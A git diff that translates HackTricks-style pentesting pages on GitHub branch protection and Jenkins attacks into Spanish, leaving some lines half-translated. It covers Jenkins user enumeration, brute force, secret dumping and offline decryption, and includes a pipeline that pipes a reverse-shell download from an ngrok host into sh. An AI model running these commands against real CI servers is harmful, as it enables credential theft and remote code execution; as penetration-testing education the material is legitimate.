+Branch protections are designed to **no dar control completo de un repositorio** to the users. The goal is to **poner varios métodos de protección antes de poder escribir código dentro de alguna rama**.
The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> It's **no posible establecer una protección de rama a nivel de organización**. So all of them must be declared on each repo.
Different protections can be applied to a branch (like to master):
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
- - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
- - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
- - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
- - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
- - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- You can **requerir un PR antes de fusionar** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
+- **Requerir un número de aprobaciones**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
+- **Desestimar aprobaciones cuando se envían nuevos commits**. If not, a user may approve legit code and then the user could add malicious code and merge it.
+- **Requerir revisiones de los Propietarios de Código**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
+- **Restringir quién puede desestimar revisiones de pull request.** You can specify people or teams allowed to dismiss pull request reviews.
+- **Permitir actores especificados para eludir los requisitos de pull request**. These users will be able to bypass previous restrictions.
+- **Requerir que las verificaciones de estado pasen antes de fusionar.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret).
+- **Requerir resolución de conversación antes de fusionar**. All comments on the code needs to be resolved before the PR can be merged.
+- **Requerir commits firmados**. The commits need to be signed.
+- **Requerir historia lineal.** Prevent merge commits from being pushed to matching branches.
+- **Incluir administradores**. If this isn't set, admins can bypass the restrictions.
+- **Restringir quién puede enviar a ramas coincidentes**. Restrict who can send a PR.
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> As you can see, even if you managed to obtain some credentials of a user, **los repos pueden estar protegidos evitando que puedas enviar código a master** for example to compromise the CI/CD pipeline.
## References
@@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master):
- [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md
index 4dfba3ff3..7203cb9e0 100644
--- a/src/pentesting-ci-cd/jenkins-security/README.md
+++ b/src/pentesting-ci-cd/jenkins-security/README.md
@@ -2,311 +2,291 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Información Básica
-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkins es una herramienta que ofrece un método sencillo para establecer un **entorno de integración continua** o **entrega continua** (CI/CD) para casi **cualquier** combinación de **lenguajes de programación** y repositorios de código fuente utilizando pipelines. Además, automatiza varias tareas rutinarias de desarrollo. Si bien Jenkins no elimina la **necesidad de crear scripts para pasos individuales**, proporciona una forma más rápida y robusta de integrar toda la secuencia de herramientas de construcción, prueba y despliegue que uno puede construir fácilmente de forma manual.
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-## Unauthenticated Enumeration
-
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
+## Enumeración No Autenticada
+Para buscar páginas interesantes de Jenkins sin autenticación como (_/people_ o _/asynchPeople_, esto lista los usuarios actuales) puedes usar:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-
-Check if you can execute commands without needing authentication:
-
+Verifica si puedes ejecutar comandos sin necesidad de autenticación:
```
msf> use auxiliary/scanner/http/jenkins_command
```
+Sin credenciales, puedes mirar dentro de la ruta _**/asynchPeople/**_ o _**/securityRealm/user/admin/search/index?q=**_ para **nombres de usuario**.
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
-
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+Es posible que puedas obtener la versión de Jenkins desde la ruta _**/oops**_ o _**/error**_.
.png>)
-### Known Vulnerabilities
+### Vulnerabilidades Conocidas
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## Inicio de Sesión
-In the basic information you can check **all the ways to login inside Jenkins**:
+En la información básica puedes verificar **todas las formas de iniciar sesión en Jenkins**:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### Registro
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+Podrás encontrar instancias de Jenkins que **te permiten crear una cuenta e iniciar sesión en ella. Así de simple.**
-### **SSO Login**
+### **Inicio de Sesión SSO**
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+Además, si la **funcionalidad**/**plugins** de **SSO** están presentes, entonces deberías intentar **iniciar sesión** en la aplicación usando una cuenta de prueba (es decir, una **cuenta de prueba de Github/Bitbucket**). Truco de [**aquí**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
-### Bruteforce
-
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
+### Fuerza Bruta
+**Jenkins** carece de **política de contraseñas** y **mitigación de fuerza bruta de nombres de usuario**. Es esencial **realizar fuerza bruta** a los usuarios ya que **contraseñas débiles** o **nombres de usuario como contraseñas** pueden estar en uso, incluso **nombres de usuario invertidos como contraseñas**.
```
msf> use auxiliary/scanner/http/jenkins_login
```
-
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
-### IP Whitelisting Bypass
+### Bypass de la lista blanca de IP
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+Muchas organizaciones combinan **sistemas de gestión de control de versiones (SCM) basados en SaaS** como GitHub o GitLab con una **solución CI interna y autohospedada** como Jenkins o TeamCity. Esta configuración permite que los sistemas CI **reciban eventos de webhook de los proveedores de control de versiones SaaS**, principalmente para activar trabajos de pipeline.
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+Para lograr esto, las organizaciones **agregan a la lista blanca** los **rangos de IP** de las **plataformas SCM**, permitiéndoles acceder al **sistema CI interno** a través de **webhooks**. Sin embargo, es importante tener en cuenta que **cualquiera** puede crear una **cuenta** en GitHub o GitLab y configurarla para **activar un webhook**, enviando potencialmente solicitudes al **sistema CI interno**.
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
-## Internal Jenkins Abuses
+## Abusos internos de Jenkins
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.
> [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> Dependiendo del mecanismo de **Autorización** configurado en Jenkins y los permisos del usuario comprometido, **podrías o no** realizar los siguientes ataques.
-For more information check the basic information:
+Para más información, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Listing users
+### Listando usuarios
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+Si has accedido a Jenkins, puedes listar otros usuarios registrados en [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
-### Dumping builds to find cleartext secrets
-
-Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
+### Extracción de builds para encontrar secretos en texto claro
+Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para extraer las salidas de consola de los builds y las variables de entorno de los builds para encontrar, con suerte, secretos en texto claro.
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
+### **Robando Credenciales SSH**
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+Si el usuario comprometido tiene **suficientes privilegios para crear/modificar un nuevo nodo de Jenkins** y las credenciales SSH ya están almacenadas para acceder a otros nodos, podría **robar esas credenciales** creando/modificando un nodo y **configurando un host que registrará las credenciales** sin verificar la clave del host:
.png>)
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+Normalmente encontrarás las credenciales ssh de Jenkins en un **proveedor global** (`/credentials/`), así que también puedes volcarlas como lo harías con cualquier otro secreto. Más información en la [**sección de volcado de secretos**](./#dumping-secrets).
-### **RCE in Jenkins**
+### **RCE en Jenkins**
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+Obtener un **shell en el servidor de Jenkins** le da al atacante la oportunidad de filtrar todos los **secretos** y **variables de entorno** y de **explotar otras máquinas** ubicadas en la misma red o incluso **reunir credenciales de la nube**.
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+Por defecto, Jenkins **se ejecutará como SYSTEM**. Por lo tanto, comprometerlo le dará al atacante **privilegios de SYSTEM**.
-### **RCE Creating/Modifying a project**
+### **RCE Creando/Modificando un proyecto**
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+Crear/Modificar un proyecto es una forma de obtener RCE sobre el servidor de Jenkins:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Execute Groovy script**
+### **RCE Ejecutar script Groovy**
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+También puedes obtener RCE ejecutando un script Groovy, que podría ser más sigiloso que crear un nuevo proyecto:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Creating/Modifying Pipeline
+### RCE Creando/Modificando Pipeline
-You can also get **RCE by creating/modifying a pipeline**:
+También puedes obtener **RCE creando/modificando un pipeline**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitation
+## Explotación de Pipeline
-To exploit pipelines you still need to have access to Jenkins.
+Para explotar pipelines aún necesitas tener acceso a Jenkins.
-### Build Pipelines
+### Construir Pipelines
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+**Pipelines** también pueden ser utilizados como **mecanismo de construcción en proyectos**, en ese caso se puede configurar un **archivo dentro del repositorio** que contendrá la sintaxis del pipeline. Por defecto se usa `/Jenkinsfile`:
.png>)
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
+También es posible **almacenar archivos de configuración de pipeline en otros lugares** (en otros repositorios, por ejemplo) con el objetivo de **separar** el **acceso** al repositorio y el acceso al pipeline.
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+Si un atacante tiene **acceso de escritura sobre ese archivo**, podrá **modificarlo** y **potencialmente activar** el pipeline sin siquiera tener acceso a Jenkins.\
+Es posible que el atacante necesite **eludir algunas protecciones de rama** (dependiendo de la plataforma y los privilegios del usuario, podrían ser eludidas o no).
-The most common triggers to execute a custom pipeline are:
+Los desencadenantes más comunes para ejecutar un pipeline personalizado son:
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **Solicitud de extracción** a la rama principal (o potencialmente a otras ramas)
+- **Empujar a la rama principal** (o potencialmente a otras ramas)
+- **Actualizar la rama principal** y esperar hasta que se ejecute de alguna manera
> [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> Si eres un **usuario externo**, no deberías esperar crear un **PR a la rama principal** del repositorio de **otro usuario/organización** y **activar el pipeline**... pero si está **mal configurado**, podrías comprometer completamente a las empresas solo explotando esto.
-### Pipeline RCE
+### RCE de Pipeline
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+En la sección anterior de RCE ya se indicó una técnica para [**obtener RCE modificando un pipeline**](./#rce-creating-modifying-pipeline).
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### Comprobando Variables de Entorno
+Es posible declarar **variables de entorno en texto claro** para todo el pipeline o para etapas específicas. Estas variables de entorno **no deberían contener información sensible**, pero un atacante siempre podría **revisar todas las configuraciones del pipeline/Jenkinsfiles:**
```bash
pipeline {
- agent {label 'built-in'}
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
```
-
### Dumping secrets
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Para obtener información sobre cómo se tratan generalmente los secretos en Jenkins, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+Las credenciales pueden ser **alcanzadas por proveedores globales** (`/credentials/`) o por **proyectos específicos** (`/job//configure`). Por lo tanto, para exfiltrar todos ellos, necesitas **comprometer al menos todos los proyectos** que contienen secretos y ejecutar pipelines personalizados/contaminados.
+Hay otro problema, para obtener un **secreto dentro del env** de un pipeline, necesitas **conocer el nombre y tipo del secreto**. Por ejemplo, si intentas **cargar** un **secreto** de **`usernamePassword`** como un **secreto** de **`string`**, obtendrás este **error**:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-
-Here you have the way to load some common secret types:
-
+Aquí tienes la forma de cargar algunos tipos de secretos comunes:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
- sh '''
- env #Search for USERNAME and PASS
- '''
+sh '''
+env #Search for USERNAME and PASS
+'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
- sh '''
- env #Search for SECRET
- '''
+sh '''
+env #Search for SECRET
+'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
- sh '''
- env # Search for USERPASS
- '''
+sh '''
+env # Search for USERPASS
+'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- env
- '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
}
```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Al final de esta página puedes **encontrar todos los tipos de credenciales**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> La mejor manera de **volcar todos los secretos a la vez** es **comprometiendo** la máquina de **Jenkins** (ejecutando un shell inverso en el **nodo incorporado**, por ejemplo) y luego **filtrando** las **claves maestras** y los **secretos encriptados** y desencriptándolos sin conexión.\
+> Más sobre cómo hacer esto en la [sección de Nodos y Agentes](./#nodes-and-agents) y en la [sección de Post Explotación](./#post-exploitation).
-### Triggers
+### Disparadores
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+De [la documentación](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La directiva `triggers` define las **maneras automatizadas en las que el Pipeline debe ser reactivado**. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, `triggers` puede no ser necesario ya que la integración basada en webhooks probablemente ya esté presente. Los disparadores actualmente disponibles son `cron`, `pollSCM` y `upstream`.
+Ejemplo de Cron:
```bash
triggers { cron('H */4 * * 1-5') }
```
+Revisa **otros ejemplos en la documentación**.
-Check **other examples in the docs**.
+### Nodos y Agentes
-### Nodes & Agents
+Una **instancia de Jenkins** puede tener **diferentes agentes corriendo en diferentes máquinas**. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa **diferentes credenciales de nube potenciales** para robar o **diferente acceso a la red** que podría ser abusado para explotar otras máquinas.
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
-
-For more information check the basic information:
+Para más información, consulta la información básica:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+Puedes enumerar los **nodos configurados** en `/computer/`, generalmente encontrarás el **`Built-In Node`** (que es el nodo que ejecuta Jenkins) y potencialmente más:
.png>)
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
-
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+Es **especialmente interesante comprometer el nodo incorporado** porque contiene información sensible de Jenkins.
+Para indicar que deseas **ejecutar** el **pipeline** en el **nodo incorporado de Jenkins**, puedes especificar dentro del pipeline la siguiente configuración:
```bash
pipeline {
- agent {label 'built-in'}
+agent {label 'built-in'}
```
+### Ejemplo completo
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+Pipeline en un agente específico, con un desencadenador cron, con variables de entorno de pipeline y etapa, cargando 2 variables en un paso y enviando un shell inverso:
```bash
pipeline {
- agent {label 'built-in'}
- triggers { cron('H */4 * * 1-5') }
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
- withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
- '''
- }
- }
- }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
- post {
- always {
- cleanWs()
- }
- }
+post {
+always {
+cleanWs()
+}
+}
}
```
-
-## Arbitrary File Read to RCE
+## Lectura Arbitraria de Archivos a RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
+## Post Explotación
### Metasploit
-
```
msf> post/multi/gather/jenkins_gather
```
-
### Jenkins Secrets
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
+Puedes listar los secretos accediendo a `/credentials/` si tienes suficientes permisos. Ten en cuenta que esto solo listará los secretos dentro del archivo `credentials.xml`, pero **los archivos de configuración de construcción** también pueden tener **más credenciales**.
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+Si puedes **ver la configuración de cada proyecto**, también puedes ver allí los **nombres de las credenciales (secretos)** que se utilizan para acceder al repositorio y **otras credenciales del proyecto**.
.png>)
@@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
-These files are needed to **decrypt Jenkins secrets**:
+Estos archivos son necesarios para **desencriptar los secretos de Jenkins**:
- secrets/master.key
- secrets/hudson.util.Secret
-Such **secrets can usually be found in**:
+Tales **secretos generalmente se pueden encontrar en**:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
-Here's a regex to find them:
-
+Aquí hay una regex para encontrarlos:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
-
#### Decrypt Jenkins secrets offline
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+Si has volcado las **contraseñas necesarias para descifrar los secretos**, utiliza [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descifrar esos secretos**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### Desencriptar secretos de Jenkins desde Groovy
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
+### Crear un nuevo usuario administrador
-### Create new admin user
+1. Accede al archivo Jenkins config.xml en `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkins\`
+2. Busca la palabra `true` y cambia la palabra **`true`** a **`false`**.
+1. `sed -i -e 's/truefalsetrue` y **reinicia Jenkins nuevamente**.
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**.
- 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**.
-
-## References
+## Referencias
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..13489bae8 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,87 +1,87 @@
-# Basic Jenkins Information
+# Información Básica de Jenkins
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Acceso
-### Username + Password
+### Nombre de usuario + Contraseña
-The most common way to login in Jenkins if with a username or a password
+La forma más común de iniciar sesión en Jenkins es con un nombre de usuario o una contraseña.
### Cookie
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+Si una **cookie autorizada es robada**, puede ser utilizada para acceder a la sesión del usuario. La cookie generalmente se llama `JSESSIONID.*`. (Un usuario puede terminar todas sus sesiones, pero primero necesitaría averiguar que una cookie fue robada).
### SSO/Plugins
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkins puede ser configurado usando plugins para ser **accesible a través de SSO de terceros**.
### Tokens
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**Los usuarios pueden generar tokens** para dar acceso a aplicaciones para suplantarlos a través de CLI o REST API.
-### SSH Keys
+### Claves SSH
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+Este componente proporciona un servidor SSH integrado para Jenkins. Es una interfaz alternativa para el [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), y los comandos pueden ser invocados de esta manera usando cualquier cliente SSH. (De la [documentación](https://plugins.jenkins.io/sshd/))
-## Authorization
+## Autorización
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+En `/configureSecurity` es posible **configurar el método de autorización de Jenkins**. Hay varias opciones:
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **Cualquiera puede hacer cualquier cosa**: Incluso el acceso anónimo puede administrar el servidor.
+- **Modo legado**: Igual que Jenkins <1.164. Si tienes el **rol "admin"**, se te otorgará **control total** sobre el sistema, y **de lo contrario** (incluyendo a los **usuarios anónimos**) tendrás acceso **de lectura**.
+- **Los usuarios registrados pueden hacer cualquier cosa**: En este modo, cada **usuario registrado obtiene control total** de Jenkins. El único usuario que no tendrá control total es el **usuario anónimo**, que solo obtiene **acceso de lectura**.
+- **Seguridad basada en matriz**: Puedes configurar **quién puede hacer qué** en una tabla. Cada **columna** representa un **permiso**. Cada **fila** **representa** un **usuario o un grupo/rol.** Esto incluye un usuario especial '**anónimo**', que representa a **usuarios no autenticados**, así como '**autenticado**', que representa a **todos los usuarios autenticados**.
.png>)
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
